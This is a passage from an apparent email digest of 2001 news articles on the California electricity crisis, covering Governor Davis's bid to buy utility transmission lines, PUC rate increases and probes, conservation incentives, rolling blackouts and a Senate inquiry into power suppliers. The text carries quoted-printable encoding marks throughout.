cryptic report that only notes the commission staff has taken no stand on t=
he=20
issue.=20
AES would have opposed such a provision, because it believes the Energy=20
Commission has no authority to tell it where to sell, said Aaron Thomas, a=
=20
manager at AES Pacific.=20
"In our case, there is no need to have a shotgun to our head," he said. AES=
=20
is negotiating to sell all 450 megawatts to the state.=20
Meanwhile, the governor acknowledged what an Energy Commission report=20
outlined last week - that his goal of 5,000 more megawatts online by July=
=20
will not be met.=20
"We have a real challenge in the early part of the summer," Davis said=20
Tuesday. "We do have more than 4,000 megawatts coming online by late summer=
.=20
Usually, the challenge is in August and September. This year, the challenge=
=20
may well be in May and June."=20
The Bee's Carrie Peyton can be reached at (916) 321-1086, cpeyton@sacbee.co=
m.=20
Emily Bazar of The Bee Capitol Bureau contributed to this report.=20
---
Davis' solutions may be in trouble: Skepticism is now growing among Democra=
ts=20
over a plan to purchase transmission lines
By Emily Bazar
Bee Capitol Bureau
A deal that Gov. Gray Davis had touted as a potential solution to the state=
's=20
energy crisis is faltering, as talks with the utilities have yet to produce=
=20
concrete results and lawmakers grow increasingly skeptical.=20
For weeks, the administration has claimed progress in its negotiations with=
=20
Pacific Gas and Electric Co. and Southern California Edison to purchase abo=
ut=20
32,000 miles of the transmission grid in exchange for helping the utilities=
=20
pay off billions of dollars in debt.=20
Though talks are moving forward with Edison, little headway has been made=
=20
with PG&E.=20
Now, a new contingent of naysayers is emerging from within the Capitol -=20
Democratic legislators who would be asked to approve the deal.=20
Convinced that a takeover of the transmission grid presents too many=20
obstacles, some top lawmakers are suggesting utility bankruptcy or other=20
alternatives might be better for the state.=20
"The governor feels very strongly that bankruptcy should be avoided at all=
=20
costs," said state Sen. Jackie Speier, D-Hillsborough, immediately after sh=
e=20
and other state Senate Democrats met with Davis on Tuesday.=20
"But there's growing sentiment in the caucus that bankruptcy is not the wor=
st=20
thing in the world. =01( We'd have more control, in many respects, over our=
=20
destiny."=20
It has been seven weeks since Davis first publicly indicated that he favore=
d=20
a takeover of the power transmission grid.=20
Shortly thereafter, on Feb. 23, he announced an "agreement in principle" wi=
th=20
Edison, laying out a conceptual deal to buy the utility's transmission line=
s=20
for $2.76 billion.=20
On the same day, Davis acknowledged he needed to buy PG&E's share of the=20
transmission grid, as well as San Diego Gas & Electric Co.'s, to make his=
=20
rescue package viable.=20
But Davis still has not reached an "agreement in principle" with the two=20
remaining utilities and continues to negotiate with Edison over details.=20
Administration officials presented PG&E representatives with a proposed=20
agreement Tuesday, the first time in three weeks the two sides had met.=20
Republican legislators have long opposed buying transmission lines, and=20
Democrats increasingly are questioning the deal.=20
Democratic support began to dwindle two weeks ago, when the state was hit b=
y=20
two days of unexpected rolling power blackouts. The blackouts were caused i=
n=20
part by the unanticipated shutdown of some alternative energy providers,=20
which had not been paid by utilities for months.=20
Many legislators expected the Democratic governor to work out a deal with t=
he=20
small generators before the blackouts hit, and they blame him for letting t=
he=20
situation get out of hand.=20
Now, many are taking critical looks at the governor's bid to purchase the=
=20
transmission lines and believe the plan contains too many pitfalls.=20
For example, a state purchase of transmission lines would need federal=20
approval because they are part of an interstate system.=20
By some estimates, that approval process could take as long as two years. T=
he=20
state would not be able to sell bonds to finance the purchase of the=20
transmission lines until the deal is blessed by the federal government.=20
Then there's the cost. Senate President Pro Tem John Burton, D-San Francisc=
o,=20
long an advocate of the deal, said the administration - which has reportedl=
y=20
offered as much as $7 billion for the utilities' shares of the grid - would=
=20
be paying "too much."=20
"This is not supposed to be a bailout," he said. "This is supposed to be a=
=20
purchase based on fair market value."=20
As a result of these and other sticking points, some legislators believe th=
e=20
utilities can't be saved through state intervention.=20
"I think we're going to end up in a bankruptcy at this point," said Sen.=20
Debra Bowen, D-Marina Del Rey. "I just don't see any of it coming together.=
"=20
Bowen said she wants the state to be prepared if utilities opt for, or are=
=20
forced into, bankruptcy.=20
Should the utilities enter bankruptcy proceedings, there is a 20-day interi=
m=20
period during which the state, or any other creditor, can attempt to persua=
de=20
the court to forbid bankruptcy.=20
Bowen said some work has been done to prepare for that, but it "needs to be=
=20
updated."=20
In addition, senior legislative staff members met with the governor's=20
negotiators a week ago, urging them to prepare contingency plans in case of=
=20
bankruptcy.=20
PG&E spokesman John Nelson declined comment on a report that the utility's=
=20
board recently voted narrowly against entering Chapter 11 on a voluntary=20
basis.=20
The utility still believes that bankruptcy is not a solution, he said, "but=
=20
that conclusion is re-evaluated on a daily basis in light of actions by the=
=20
(Public Utilities Commission) and the state."=20
Nelson said bankruptcy represents a substantial risk because the proceeding=
=20
"would turn over the utilities to a federal bankruptcy judge whose powers a=
re=20
not well defined."=20
Speier said she and other Democrats believe the governor should consider=20
seizing hydroelectric or other power plants or levying a "windfall profits=
=20
tax" against generators selling electricity at exorbitant prices.=20
Despite growing pessimism among legislators, Davis continues to insist that=
=20
the transmission deal will prevail.=20
"I believe we will purchase the transmission lines, and that will allow us =
to=20
make needed improvements," he said Saturday about the status of negotiation=
s.=20
On Tuesday, Davis asked television stations for time to address state=20
residents on Thursday evening about "California's energy emergency." The=20
governor had previously promised to announce his position on state utility=
=20
rate increases.=20
Davis also indicated he has made plans should the federal government reject=
 a=20
future deal.=20
If that happens, he said, the state will attempt to acquire the utilities'=
=20
hydroelectric plants.=20
"Plan B would be to take hydro assets in lieu of the transmission lines,"=
=20
Davis said. "They are not worth as much in book value, but they generate=20
revenue every year, which the transmission lines don't do, so they are very=
=20
valuable."=20
The Bee's Emily Bazar can be reached at (916) 326-5540 or ebazar@sacbee.com=
.=20
---
----------------------------------------------------
PUC to probe money transfers=20
By Dale Kasler
SAN FRANCISCO - With protesters being ejected for storming the stage, state=
=20
regulators Tuesday launched an investigation into how California's two=20
near-bankrupt utilities shipped billions of dollars in profits to their=20
parent corporations.=20
The Public Utilities Commission voted 4-0 to determine whether the parent=
=20
companies should have to send any money back to the utilities, which have=
=20
been nearly bankrupted by soaring wholesale power costs.=20
The PUC also took steps to approve a formula for how much the utilities mus=
t=20
reimburse the state for its power purchases.=20
Utility executives said the formula could significantly worsen their=20
financial plight and vowed to fight the plan. Commissioners called the=20
utilities' warnings premature but said they had to act to protect the state=
=20
treasury.=20
The formula also sets a $13.4 billion ceiling on the bonds the state can se=
ll=20
in order to finance the power purchases by the Department of Water Resource=
s.=20
While the formula is a crucial if arcane element of the state's plan to fix=
=20
the energy crisis, the PUC was upstaged by several dozen activists seething=
=20
over the 30 percent rate increase the commission granted last week to Pacif=
ic=20
Gas and Electric Co. and Southern California Edison.=20
For 90 minutes, speaking one by one, the protesters from the Green Party an=
d=20
other groups scolded the commissioners and urged the seizure of generating=
=20
plants. They led supporters in chanting, "Public power now!"=20
A Davis woman, Lellingby Boyce, led the crowd in chanting, "PG&E, stop=20
pimping off me." Several speakers challenged the commissioners to attend a=
=20
meeting they've organized on rate hikes. Only PUC Commissioner Geoffrey Bro=
wn=20
committed to attending.=20
Then protesters went beyond talking. Mary Bull declared, "This meeting's a=
=20
sham," and walked briskly toward the dais where commissioners sat. About a=
=20
half-dozen other protesters followed but were halted by California Highway=
=20
Patrol officers.=20
Officers escorted about dozen people from the building, including a man who=
=20
was dragged out. There were no arrests.=20
Brown called the disruption "the height of undemocratic behavior" but said=
=20
he'd still attend the activists' meeting.=20
Then the commissioners voted to initiate the probe into the relationship=20
between the utilities and their holding companies. Audits have shown that=
=20
Edison shipped $4.8 billion in profits to its parent, Edison International,=
=20
over five years, while PG&E sent $4.6 billion to parent PG&E Corp.=20
Edison called the probe "unnecessary and redundant," while PG&E said earlie=
r=20
investigations "found nothing improper or illegal in the (parent) company's=
=20
relationship with the utility."=20
The two utilities said they'll be hurt by the PUC's calculation of the=20
California Procurement Adjustment - a measure of how much utility revenue i=
s=20
available to send to the water department. The department has been buying=
=20
power on behalf of PG&E and Edison since mid-January.=20
Both utilities said there isn't nearly as much money available as the PUC=
=20
believes, and the calculation could cost them billions.=20
"Rates aren't high enough now for both (the department) and Edison," said J=
im=20
Scilacci, the utility's chief financial officer.=20
Commissioners, who will determine in about two weeks just how much utility=
=20
money to send to the water department, are walking a fine line.=20
The two utilities are nearly bankrupt. Between them, they expect to take $6=
.8=20
billion in post-tax charges to earnings April 17, according to Securities a=
nd=20
Exchange Commission filings.=20
But with the state water department having spent more than $4 billion on=20
power purchases, the PUC wants to send as much money as possible to the=20
state.=20
"A lot of our focus at this point is in preserving the state Treasury,"=20
Commissioner Carl Wood said later.=20
With an eye toward summer, the PUC also approved new conservation incentive=
s=20
for customers of the three big investor-owned utilities.=20
The Bee's Dale Kasler can be reached at (916) 321-1066 or dkasler@sacbee.co=
m.=20
Bee Staff Writer Carrie Peyton contributed to this report.=20
---
Dan Walters: Politicians seek shelter as energy Armageddon looms=20

There's been a subtle but unmistakable shift in the political atmosphere th=
at=20
envelops California's energy crisis.=20
Politicians have concluded that the crisis is largely beyond their control=
=20
and the die is more or less cast. Whatever fate decrees - massive summer=20
blackouts, soaring utility bills or even the bankruptcy of the state's=20
utilities - will happen, and politicians from Gov. Gray Davis downward are=
=20
scrambling to insulate themselves from voters' anger and single out rivals=
=20
for blame.=20
No one is saying that publicly, of course, but the fatalistic mood is very=
=20
apparent in the Capitol, whose denizens have dropped their preoccupation wi=
th=20
energy and moved to other matters. Legislative committees are working on th=
e=20
hundreds of bills that had been stalled for three months while the special=
=20
committees that had been holding almost daily sessions on the energy crisis=
=20
have gone into semihibernation.=20
Last weekend's Democratic state convention in Anaheim was dominated by fear=
s=20
that when the crisis hits home, the party's dominance of the Capitol will=
=20
backfire. "Just remember Jimmy Carter," state Controller Kathleen Connell=
=20
warned fellow Democrats, adding that they will have "no excuses" for=20
perceived failure to deal with the crisis forthrightly. "We will be=20
accountable on Election Day 2002," she said.=20
Next year's elections are very much on Davis' mind, since he'll be seeking =
a=20
second term and polls indicate that his approval ratings have declined=20
sharply in recent weeks. He devoted much of the weekend to defending his=20
actions, saying, "I believe we've moved at warp speed to address this=20
problem," and trying to pin blame on Republicans.=20
Republicans, meanwhile, sense that the crisis gives them an avenue of escap=
e=20
from the dungeon of irrelevancy to which they had been exiled by heavy loss=
es=20
in the last three elections. The only remaining statewide GOP officeholder,=
=20
Secretary of State Bill Jones, is running for governor by accusing Davis of=
=20
mismanagement, and Republican Assembly members dumped their leader, Bill=20
Campbell, on grounds that he had been insufficiently aggressive vis-a-vis=
=20
Davis.=20
The political positioning reflects the reality that the crisis shows every=
=20
sign of worsening. Although Davis' office is distributing a brochure entitl=
ed=20
"Meeting the Energy Challenge" to defend the governor's actions, it's=20
apparent that none of the steps the governor has taken is bearing much frui=
t.=20
The state is spending at least $50 million a day on emergency power=20
purchases, but what was supposed to be a short-term program has evolved int=
o=20
a monthslong drain on the state's rapidly shrinking budget reserves. The=20
long-term supply contracts that were supposed to replace daily spot purchas=
es=20
have bogged down, and without firm contracts and a revenue stream to pay fo=
r=20
them, Wall Street is reluctant to market the bonds the state wants to float=
.=20
Many authorities now believe Davis' decision to step into the power purchas=
e=20
market in January was a strategic error because it gave power suppliers a=
=20
deep new pocket to tap just as the utilities themselves ran out of credit.=
=20
Davis, meanwhile, is refusing to embrace a rate increase approved by the=20
state Public Utilities Commission, which sends a mixed message to Wall=20
Street, and efforts to resolve problems with unpaid bills from power=20
generators and have the state acquire the utilities' intercity transmission=
=20
grid have stalled, perhaps permanently.=20
The crisis may careen totally out of control as summer arrives, raising the=
=20
specter of elderly and/or ill Californians dying from having their air=20
conditioners or medical equipment shut down. And the utilities are closer t=
o=20
bankruptcy now than at any other point in the nearly yearlong crisis.=20
Plan A isn't working, and there is no Plan B - except for bankruptcy. With=
=20
Armageddon looming, politicians have retreated into the bunker, hoping to=
=20
protect themselves from what could be a firestorm of anger.=20
The Bee's Dan Walters can be reached at (916) 321-1195 or dwalters@sacbee.c=
om
.
---
=20
Rate jump lurks for customers of SDG&E=20

By Ed Mendel=20
UNION-TRIBUNE STAFF WRITER=20
April 3, 2001=20
SACRAMENTO -- Last year, San Diego was on the front line of the electricity=
=20
crisis, but this year it's more like a rearguard action -- a lower priority=
=20
treated with less urgency.=20
State regulators last week imposed the biggest rate increase in California=
=20
history on the customers of the two biggest utilities, Pacific Gas and=20
Electric and Southern California Edison.=20
But for better or worse, as the Public Utilities Commission plans to meet=
=20
today in San Francisco, it's unknown when the commission will impose a rate=
=20
increase on San Diego Gas and Electric customers or how big that increase=
=20
will be.=20

PUC expected to approve new incentives to cut power usage=20
?=20

The Legislature enacted urgency legislation in September that capped SDG&E=
=20
rates after bills doubled and tripled for some customers, when the utility=
=20
became the first to be deregulated.=20
A bill that would extend the SDG&E cap to an estimated 4,500 businesses and=
=20
some residences, which stalled when Democrats tried to use it as leverage t=
o=20
get Republican votes on other issues, passed an Assembly committee yesterda=
y.=20
"They are the only customers in the state who are paying the day-to-day rat=
es=20
and cost of electricity," said Sen. Dede Alpert, D-Coronado, the author of=
=20
the bill.=20
Gov. Gray Davis proposed a "20/20" conservation plan last month, a 20 perce=
nt=20
cut in utility bills for a 20 percent cut in energy use when compared with=
=20
the same summer month last year.=20
But some say the plan is unfair to SDG&E customers, who cut energy use last=
=20
summer because of soaring bills. Assemblyman Juan Vargas, D-San Diego, want=
s=20
the comparison for SDG&E customers to be with the same month in 1999.=20
"We are looking into it," said Roger Salazar, a Davis spokesman. "It's a=20
concern."=20
The rate increase proposed by SDG&E -- 2.3 cents per kilowatt hour -- is=20
significantly lower than the 3-cent increase imposed by the PUC on the=20
customers of PG&E and Edison last week.=20
An SDG&E spokesman said the PUC has asked the utility to participate in=20
discussions of a rate increase, effective June 1, that is expected to=20
encourage conservation by imposing the highest rates on the biggest users.=
=20
"As for specifics pertaining to us, I don't know," said Art Larson of SDG&E=
.=20
Commissioner Carl Wood said the PUC is looking at a number of issues,=20
including the fact that SDG&E rates were capped by legislation, unlike the=
=20
rates of the other two investor-owned utilities.=20
"We are looking at whether we have the authority to change rates, and if we=
=20
do, by how much -- and things like that," Wood said.=20
PUC President Loretta Lynch said yesterday that she plans to hold hearings=
=20
throughout the state as the regulatory agency designs the specifics of the=
=20
new rate increase.=20
"I think it's really key and critical that we have input not just from folk=
s=20
who can hire lawyers to be at the PUC in San Francisco, but from all=20
Californians and all businesses," Lynch said.=20
Businesses may get some of the biggest rate increases. Legislation exempts=
=20
residences that use up to 130 percent of the "baseline," a minimum amount o=
f=20
electricity that varies with climate zones.=20
Lynch said a question has arisen about whether the PG&E and Edison rate=20
increase was effective immediately. Bills will not increase until May or=20
later, and the plan was to add the amount owed since March 27 to ratepayer=
=20
bills in monthly installments.=20
"We have asked for additional briefing on that," said Lynch, offering littl=
e=20
explanation.=20
The governor, who called the rate increase premature, may make a proposal o=
f=20
his own in two weeks. He has asked for information on various factors,=20
including state spending to buy power for utility customers.=20
The state has spent about $4 billion, which will be repaid by a bond that=
=20
will be paid off by ratepayers. The PUC is taking a series of steps that wi=
ll=20
give the state money from the monthly bills paid by utility customers.=20
Lynch said yesterday that the state will receive $3 billion to $3.5 billion=
 a=20
year, enough for a bond of $12 billion to $14 billion -- by far a record fo=
r=20
the biggest municipal bond issue in the nation.=20
State Treasurer Phil Angelides had hoped to obtain a bridge loan of $5=20
billion by the end of last month, easing the drain on the state general fun=
d.=20
But a spokeswoman said "obstacles" have developed that Angelides plans to=
=20
discuss tomorrow at a news conference.=20
The PUC also is scheduled to consider a revised program today that will=20
encourage businesses to agree to have their power "interrupted" this summer=
,=20
in exchange for lower bills and protection from blackouts. Some guidelines=
=20
for blackouts also may be set.=20
"Facing rolling blackouts on an almost routine basis is a completely new=20
phenomenon," Wood said. "It's not something that I think we have experience=
=20
in in any developed country, until very recent times."=20
Lynch also will propose an investigation into whether the parent firms of=
=20
utilities should help pay off the debt of utilities, a move urged by consum=
er=20
groups.=20
---
--

ASSOCIATED PRESS=20
SAN FRANCISCO =01) With summer and the threat of hours of rolling blackouts=
=20
drawing ever closer, California power regulators are expected Tuesday to=20
expand programs they hope will coerce businesses to cut electricity use in=
=20
trade for cheaper rates.=20
Under the Public Utilities Commission plan outlined Monday by Commissioner=
=20
Carl Wood, businesses can contribute to California's desperate cause by=20
volunteering to turn off their power for up to 120 hours during a three-mon=
th=20
period in exchange for a 15 percent discount on their electricity bills.=20
The power interruptions will be limited to a maximum of 6 hours per day and=
=20
24 hours per week. The caps are designed to avoid a repeat of what happened=
=20
in January when the businesses in a previous voluntary program were require=
d=20
to suffer 120 hours of blackouts in a span of just a few weeks.=20
The frequency of the outages caught some businesses off guard and almost=20
caused a gasoline shortage by shutting off the power to key pipelines for=
=20
extended periods.=20
As the PUC work to stave off future troubles, managers of the state's power=
=20
grid continued a Stage 2 power alert early Tuesday morning. The Independent=
=20
System Operator called for energy conservation Monday after gusty winds=20
yanked down Southern California power lines, keeping 3,000 megawatts of=20
imported electricity from reaching California.=20
The ISO calls a Stage 2 alert when electricity reserves drop below 5 percen=
t.=20
and Stage 3 when reserves drop below 1.5 percent.=20
It could take up to 10 days to repair all the state's downed lines, said=20
spokespeople for the ISO and the Los Angeles Department of Water and Power.=
=20
The downed lines crowded an already strained transmission bottleneck that=
=20
transfers electricity up the state, ISO spokesman Patrick Dorinson said=20
Tuesday morning.=20
Additionally, power plants that would have produced 12,900 megawatts were=
=20
down for repairs. Another 3,000 megawatts from alternative energy providers=
=20
who are owed more than $1 billion by two near-broke utilities were also=20
unavailable to grid operators.=20
One megawatt is roughly enough power for 750 homes.=20
In Sacramento, an Assembly energy committee approved six power-related bill=
s,=20
including two that aim to increase electricity generation with incentives f=
or=20
building power plants.=20
One bill would give cities and counties that approve large power plants=20
additional state aid equal to 25 percent of the property tax the plant brin=
gs=20
in.=20
The estimated $62.5 million in state incentives is designed to encourage=20
local governments to allow power plant construction within their boundaries=
,=20
said the author, Assemblywoman Rebecca Cohn, D-Sarasota.=20
Another bill would give $53.25 million in incentives primarily to small pow=
er=20
plants that can be built quickly to serve specific commercial customers. Bo=
th=20
bills now go to the Assembly Appropriations Committee for consideration.=20
There were no developments announced Monday in Gov. Gray Davis' efforts to=
=20
reach deals to buy 26,000 miles of transmission lines owned by the state's=
=20
three financially troubled investor-owned utilities.=20
PUC President Loretta Lynch said Monday she planned to end months of delay=
=20
and officially open an investigation into the conduct of the parent compani=
es=20
of the nearly bankrupt utilities Pacific Gas and Electric Co. and Southern=
=20
California Edison Co.=20
The inquiry will focus on allegations that the parent companies have hoarde=
d=20
cash and assets that should have been used to ease the utilities' financial=
=20
crisis.=20
The commission is expected to approve a key accounting benchmark that will=
=20
authorize the state to issue anywhere from $12 billion to $14 billion to bu=
y=20
electricity. The maximum amount, based on a formula created by state=20
lawmakers, is higher than the $10 billion envisioned just a few months ago.=
=20
Lynch said she hoped the new energy-curtailment program will help cut energ=
y=20
demand. The old program curtailed demand by as much as 3,200 megawatt hours=
.=20
Companies that already contributed 120 hours of voluntary power outages thi=
s=20
year could sign up and receive additional discounts.=20
Businesses also can make money by agreeing to sell part of their usual ener=
gy=20
load for $350 per megawatt hour during crisis periods. Regulators might be=
=20
willing to pay businesses even more for the extra energy, depending how muc=
h=20
money power wholesalers demand on the spot market this summer.=20
The California economy already has been hit with the double whammy of risin=
g=20
electricity bills and an energy shortage that has triggered rolling blackou=
ts=20
in January and March.=20
Now, regulators find themselves paying businesses to curtail their operatio=
ns=20
so the damage doesn't become even worse this summer.=20
Regulators aren't sure how much the new incentive program will cost the=20
state, but they believe California stands to lose even more if businesses=
=20
aren't paid to reduce their energy usage.=20
Blackouts are "threatening to almost become an everyday experience," Wood=
=20
said Monday as he made his case for the new business incentive plan.=20
Depending on how much the state can conserve, California is expected to=20
suffer anywhere from 20 hours to 200 hours of rolling blackouts this summer=
,=20
based on the estimates of industry experts.=20
Because the state won't substantially increase its energy supply by this=20
summer, cutting electricity demand represents the state's best chance of=20
minimizing the expected blackouts.=20
In another move expected to lower energy usage, the PUC last week approved =
a=20
rate increase of as high as 42 percent for customers of Edison and 46 perce=
nt=20
for customers of PG&E.=20
Lynch said regulators are still collecting information to create a tiered=
=20
rate structure that will impose the largest increases on the biggest=20
electricity users.=20
The higher rates might not show up in customer bills until May or June, but=
=20
Lynch said she wants the higher prices to be retroactive to March 27.=20
With the latest incentives offered by the state, it's conceivable that some=
=20
businesses might find it more profitable to simply close their plants for=
=20
days at a time and sell their energy to the state, Wood said.=20
But Wood believes it's more likely that companies will remain open and make=
 a=20
little extra money by slightly reducing their power usage.=20
---
-----

Davis warns of spring problems, urges conservation incentives=20

By Steve Lawrence
SACRAMENTO =01) Gov. Gray Davis urged lawmakers Tuesday to quickly approve =
$1.12=20
billion in energy conservation incentives to ease a warm-weather power crun=
ch=20
he said could hit as early as next month.=20
The Assembly Appropriations Committee approved one conservation bill after=
=20
changing it, over the author's objections, to limit how much agricultural=
=20
customers could have power shut off during rolling blackouts.=20
The chairwoman of the Senate Appropriations Committee put off a vote on=20
another conservation measure at least until Wednesday, saying senators need=
ed=20
more time to study the legislation.=20
Davis met for about two hours with Senate Democrats and urged them to pass=
=20
the conservation bills this week so the programs start working as soon as=
=20
possible. The two bills have been moving slowly through the Legislature for=
=20
the last month.=20
The governor's office announced later in the day that Davis had requested=
=20
time from television stations for a five-minute statement Thursday evening =
on=20
the energy situation.=20
The governor said the state could face its biggest power shortage in May or=
=20
June because new power plants capable of producing 4,000 megawatts of=20
electricity won't be coming online until late in the summer.=20
"Usually, the challenge is in August and September," he said in a dimly lit=
=20
hallway outside the Senate lounge. "This year it may well come in May or=20
June."=20
He said he hoped to avoid more rolling blackouts, but he added, "We are=20
hoping for the best and planning for the worst."=20
One of the bills, by Assemblywoman Christine Kehoe, D-San Diego, would=20
allocate $408 million for energy efficiency and conservation programs,=20
including $50 million for rebates for consumers who buy new, more=20
energy-efficient refrigerators.=20
The bill also would includes:=20
=01) $60 million to distribute subcompact fluorescent lights and other=20
energy-saving devices through community organizations.=20
=01) $50 million for grants or loans to low-income residents or small busin=
esses=20
to make buildings more energy efficient.=20
=01) $50 million for large businesses that install electricity meters that=
=20
charge the customer more for power during peak demand periods.=20
The Senate Appropriations Committee discussed the bill for more than an hou=
r=20
Tuesday but put off a vote at least until Wednesday.=20
The other measure, by Sen. Byron Sher, D-Stanford, was sent to the Assembly=
=20
floor Tuesday by the Assembly Appropriations Committee.=20
It would allot $710 million for conservation and efficiency efforts,=20
including $240 million to help low-income Californians weatherize their hom=
es=20
and pay their natural gas and electricity bills.=20
It also includes $50 million for incentives for agri-businesses to buy=20
energy-efficient equipment and $50 million to install energy-saving=20
technology in state buildings.=20
Sher objected to an amendment added by the committee to allow officials to=
=20
cut off power to agricultural customers no more than four hours a day and 2=
0=20
hours a month during power emergencies.=20
Sher said the amendment had no place in a conservation bill.=20
The committee's chairwoman, Assemblywoman Carole Migden, D-San Francisco,=
=20
said the amendment was pushed by Assembly leaders and refused to change it.=
=20
The meeting with Senate Democrats was the second that Davis has talked behi=
nd=20
closed doors with lawmakers to discuss the state's energy crisis. He met wi=
th=20
Assembly Democrats last week and plans to sit down with Assembly Republican=
s=20
on Wednesday.=20
In a speech Saturday to the state Democratic Party convention, Davis said=
=20
Republicans caused the state's power problems by pushing for utility=20
deregulation. He also complained they had not offered a "constructive,=20
comprehensive solution to the problem."=20
Asked what he would tell GOP lawmakers Wednesday, the Democratic governor=
=20
said he would "explain the challenge and just tell them they can be part of=
=20
the solution or part of the problem."=20
Although there were some raised voices during Tuesday's meeting, Sen. Tom=
=20
Torlakson, D-Martinez, said the session with Davis was "very positive" and=
=20
that he was "much more confident" about how the state is dealing with its=
=20
power problems.=20
"We got some good information we had not had before," he said.=20
But Sen. Jackie Speier, D-Daly City, said Davis and his aides didn't know i=
f=20
the state's two biggest utilities had followed a Public Utilities Commissio=
n=20
order to set aside money to repay the state for its power purchases.=20
She said if the utilities go bankrupt "that money could be sucked up" by=20
other creditors.=20
---
-------

Energy Firms' Mixed Message Is Focus of Inquiry=20

Deregulation: Senate panel will investigate whether suppliers were being=20
misleading when they promised lower rates for consumers while they were als=
o=20
predicting bigger profits for investors.=20

By ROBERT J. LOPEZ and RICH CONNELL, Times Staff Writers=20

?????In the summer of 1999, a top official with a major player in=20
California's power market testified during a congressional committee hearin=
g=20
in support of speeding up deregulation. Unleashing market forces, said the=
=20
Dynegy Inc. executive, would ensure "maximum customer savings" and "low-cos=
t=20
power."=20
?????That same month, the Houston-based firm made a far different pitch to=
=20
Wall Street: Deregulation and major swings in electricity prices would boos=
t=20
revenue and stock value. "We know how to take advantage of volatility spike=
s=20
across the gas and power market," Chief Executive Officer Charles Watson=20
declared in a publication targeting large investors. "The energy=20
marketplace," he predicted, "will simply get more volatile."=20
?????Dynegy was not alone, a review of federal filings, company documents a=
nd=20
public records shows. In the years since California's pioneering deregulati=
on=20
plan was approved, other major out-of-state energy suppliers were sending=
=20
similar, seemingly contradictory signals to the public and stock buyers.
?????Now, those divergent messages--electricity prices will fall but=20
corporate revenue and profits will climb--will be a key focus of a special=
=20
state Senate committee charged with investigating the alleged manipulation =
in=20
the power market.
?????"How you can tell your investors you're about to make a whole ton of=
=20
money in the very short term, and tell the consumers of California you're=
=20
about to get lower rates?" said Sen. Joe Dunn (D-Santa Ana), a former=20
consumer attorney who is heading the legislative probe.=20
?????Investigations by the state attorney general and federal regulators ar=
e=20
continuing, but remain largely secret.
?????The Senate panel could offer the most open and wide-ranging examinatio=
n=20
yet of alleged misconduct among power sellers. The bipartisan panel expects=
=20
to begin requesting documents from power producers as early as today and=20
begin hearings in a few weeks. Committee members stress that they are hopin=
g=20
the power companies will cooperate but are ready to issue subpoenas if=20

?????Suppliers Deny Misleading Public
?????The legislative probe comes as many state officials are moving=20
aggressively to expose alleged market manipulation and overcharges totaling=
=20
billions of dollars by the power suppliers.
?????"Somewhere along the line, there may be a skunk in the woodpile. And i=
f=20
there is, we need to find out about it," said K. Maurice Johannessen=20
(R-Redding), the committee's ranking Republican.
?????Another panel member, Sen. Debra Bowen (D-Marina del Rey), noted that=
=20
all companies try to maximize profits. "But [we want] to understand how the=
=20
market was manipulated and how sellers took advantage of the market."
?????The power traders strongly deny acting improperly or sending misleadin=
g=20
signals to the public.
?????"Hogwash," said Tom Williams, spokesman for North Carolina-based Duke=
=20
Energy. Spokesmen for Dynegy said there was nothing inconsistent in the=20
statements of their executives.
?????The companies maintain that California's problems stem from soaring=20
electricity demand, lagging power plant construction and a faulty=20
deregulation plan adopted by the Legislature in 1996. "You have a flawed=20
structure there," said Dynegy spokesman John Sousa.
?????Sousa and executives of other power suppliers say their comments to th=
e=20
general public and to Wall Street are not contradictory because unfettered=
=20
competition--not the California model--would have created opportunities to=
=20
both make money and cut rates.
?????Still, regulators, lawmakers and ratepayer groups note that only half=
=20
the promises made by the power dealers have been realized so far--their=20
earnings and stock prices have risen at record rates as electricity prices=
=20
have soared.
?????"The big lie was, while they were telling ratepayers to 'Trust us, we'=
re=20
going to lower your rates,' they were planning the entire time to raise the=
=20
rates," said San Diego attorney Michael Aguirre, a former federal prosecuto=
r=20
who specialized in fraud cases. Aguirre is representing state ratepayers in=
 a=20
class-action lawsuit against the power companies.
?????Just last month, California's independent grid operator reported that=
=20
many power sellers "used well-planned strategies to ensure maximum possible=
=20
prices." Potential overcharges could total nearly $6.3 billion.=20
?????The Senate panel wants to track information that Dynegy and other=20
generators were providing to the investment community in the 1990s as a=20
possible way of determining whether they entered the California market with=
=20
plans to run up electricity costs. Among many other things, the committee=
=20
plans to seek internal projections of how the firms expected wholesale pric=
es=20
and profits to rise under deregulation.=20
?????Members also want to know how the suppliers expected to recoup billion=
s=20
in outlays for California power plants being unloaded by regulated utilitie=
s.=20
Some of the purchases were far above book value, stunning analysts.
?????"What did they know that the rest of us didn't at the time they were=
=20
purchasing those generations facilities?" asked Dunn. "They knew something.=
"
?????One thing the power wholesalers say they did know was that tight power=
=20
supplies in California would probably boost prices, at least for a time.
?????"They were going anywhere where they thought energy [use] would spike=
=20
upward," recalled market analyst Joan Goodman, who was familiar with compan=
y=20
pitches. "California was one of those places because it didn't have=20
sufficient [power] plants."
?????Duke Energy projected that prices would rise after 2000, although the=
=20
company says it did not foresee the huge increases that occurred, according=
=20
to spokesman Williams.
?????However, when the company sealed one of the first packages of power=20
plant purchases in the state in 1997, Chief Executive Officer Richard Prior=
y=20
said in a press release it would "deliver greater value" to California=20
customers.
?????The publicity spin was similar when Edison's sprawling beachfront powe=
r=20
plant in El Segundo changed hands the following year. "Consumers in=20
California will begin to benefit from more competitively priced electricity=
=20
and more vibrant economy," announced Craig Mataczynski, vice president of=
=20
Minneapolis-based NRG Corp., a partner in the purchase with Dynegy.

?????Big Growth Was Predicted
?????Utilities reaping profits from plant sales also trumpeted the consumer=
=20
windfall theme. Electricity rates would drop 20% by 2001, Pacific Gas &=20
Electric's top executive, Robert Glynn, said in early 1998. "There is no=20
product bought on a daily basis that has such a predictable downward price=
=20
trajectory into the future."
?????But to its Wall Street audience, the power suppliers emphasized climbi=
ng=20
revenues.
?????Atlanta-based Southern Co., now Mirant, told investors in 1999 that it=
s=20
plan to buy plants and market power had brought the company to the "doorste=
p=20
of significant growth opportunities."
?????"We believe our strategies will result in the best shareholder return=
=20
available," Bill Dahlberg, then-chief executive officer, said shortly after=
=20
buying three California plants.
?????Mirant spokeswoman Jamie Stephenson said assurances given the public a=
nd=20
assumptions directed to Wall Street were "just a different way of deliverin=
g=20
the same message." The firm was saying it would be "reliable to shareholder=
s=20
and reliable to consumers."
?????Now, with rolling blackouts and record electricity bill increases,=20
federal and state authorities are alleging that large energy suppliers play=
ed=20
the power market too hard.
?????Last month, the Federal Energy Regulatory Commission said it found=20
evidence of $124 million in "unjust and unreasonable" charges during the=20
severest periods of electricity shortage. The commission, often criticized=
=20
for being too lenient on private power companies, ordered the firms to refu=
nd=20
the money or further justify the charges.
